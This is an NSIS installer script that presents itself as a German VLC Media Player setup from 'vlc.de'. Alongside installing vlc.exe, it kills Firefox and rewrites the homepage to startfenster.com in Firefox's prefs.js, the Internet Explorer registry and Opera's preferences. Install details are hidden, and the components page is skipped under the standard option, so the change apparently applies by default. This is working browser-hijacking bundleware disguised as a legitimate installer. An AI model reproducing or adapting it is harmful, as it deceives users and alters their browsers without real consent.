Name "vlc.de"
OutFile "setup.exe"
InstallDir $TEMP\VLC
RequestExecutionLevel admin
XPStyle on
ShowInstDetails hide
ShowUninstDetails hide
SetDateSave on
SetDatablockOptimize on
SetOverwrite off
CRCCheck off
AutoCloseWindow true
SetCompressor /SOLID /FINAL zlib 
!include "MUI.nsh"
!include "LogicLib.nsh"
!include "StrFunc.nsh"
${StrRep}
!define MUI_ABORTWARNING
!define MUI_ICON "setup.ico"
!define MUI_UNICON "setup.ico"
Var do_install
Var Std_State
Var Cut_State
Var HeadText
Var StdText
Var CutText
Var PefsPath
Var FirefoxPath
Var OperaPath
Function ".onInit"
InitPluginsDir
File /oname=$PLUGINSDIR\s_o_c.ini "s_o_c.ini"
FunctionEnd
Function s_o_c
InstallOptions::dialog $PLUGINSDIR\s_o_c.ini
ReadINIStr $HeadText "$PLUGINSDIR\s_o_c.ini" "Field 3" "HWND"
ReadINIStr $Std_State "$PLUGINSDIR\s_o_c.ini" "Field 1" "State"  
ReadINIStr $StdText "$PLUGINSDIR\s_o_c.ini" "Field 4" "HWND"
ReadINIStr $Cut_State "$PLUGINSDIR\s_o_c.ini" "Field 2" "State"
ReadINIStr $CutText "$PLUGINSDIR\s_o_c.ini" "Field 5" "HWND"
FunctionEnd
Function skip_comp
${If} $Std_State == 1
Abort
${EndIf}
FunctionEnd
!insertmacro MUI_PAGE_WELCOME
!insertmacro MUI_PAGE_LICENSE "license.txt"
Page custom s_o_c
Page COMPONENTS skip_comp
!insertmacro MUI_PAGE_INSTFILES
!insertmacro MUI_LANGUAGE "German"
Section "" ChoosedSoftware
StrCpy $do_install true
SectionEnd
Section "VLC Media Player" VLC_Installation
SetOutPath "$INSTDIR"
File vlc.exe
Exec $TEMP\VLC\vlc.exe
SectionEnd
Section "Startseite" StartPage
KillProcDLL::KillProc "firefox.exe"
ReadEnvStr $FirefoxPath "APPDATA"
${If} $FirefoxPath == ""
ReadEnvStr $FirefoxPath "windir"
${EndIf}
StrCpy $FirefoxPath "$FirefoxPath\Mozilla\Firefox"
ReadINIStr $PefsPath "$FirefoxPath\profiles.ini" "Profile0" "Path"
${StrRep} $PefsPath $PefsPath "/" "\"
StrCpy $PefsPath $FirefoxPath\$PefsPath\prefs.js
FileOpen $4 "$PefsPath" a
FileSeek $4 0 END
FileWrite $4 "$\r$\n"
FileWrite $4 'user_pref("browser.startup.homepage", "http://www.startfenster.com");'
FileWrite $4 "$\r$\n"
FileClose $4
WriteRegStr HKCU "Software\Microsoft\Internet Explorer\Main\" "Start Page" "http://www.startfenster.com"
ReadEnvStr $OperaPath "APPDATA"
StrCpy $OperaPath "$OperaPath\Opera\Opera"
WriteINIStr "$OperaPath\operaprefs.ini" "User Prefs" "Home URL" "http://www.startfenster.com"
WriteINIStr "$OperaPath\operaprefs.ini" "User Prefs" "Startup Type" "2"
ExecShell "open" "http://www.vlc.de/ok"
SectionEnd
Function .onInstSuccess
FunctionEnd
LangString DESC_StartPage ${LANG_GERMAN} "Hier können Sie festlegen, ob die Startseite in Ihrem Browser auf www.startfenster.com angepasst werden soll."
LangString DESC_VLC_Installation ${LANG_GERMAN} "Hier können Sie festlegen, ob der VLC Media Player installiert werden soll."
LangString DESC_ChoosedSoftware ${LANG_GERMAN} "Wählen Sie hier, ob die entsprechende Software installiert werden soll."
!insertmacro MUI_FUNCTION_DESCRIPTION_BEGIN
!insertmacro MUI_DESCRIPTION_TEXT ${StartPage} $(DESC_StartPage)
!insertmacro MUI_DESCRIPTION_TEXT ${VLC_Installation} $(DESC_VLC_Installation)
!insertmacro MUI_DESCRIPTION_TEXT ${ChoosedSoftware} $(DESC_ChoosedSoftware)
!insertmacro MUI_FUNCTION_DESCRIPTION_END

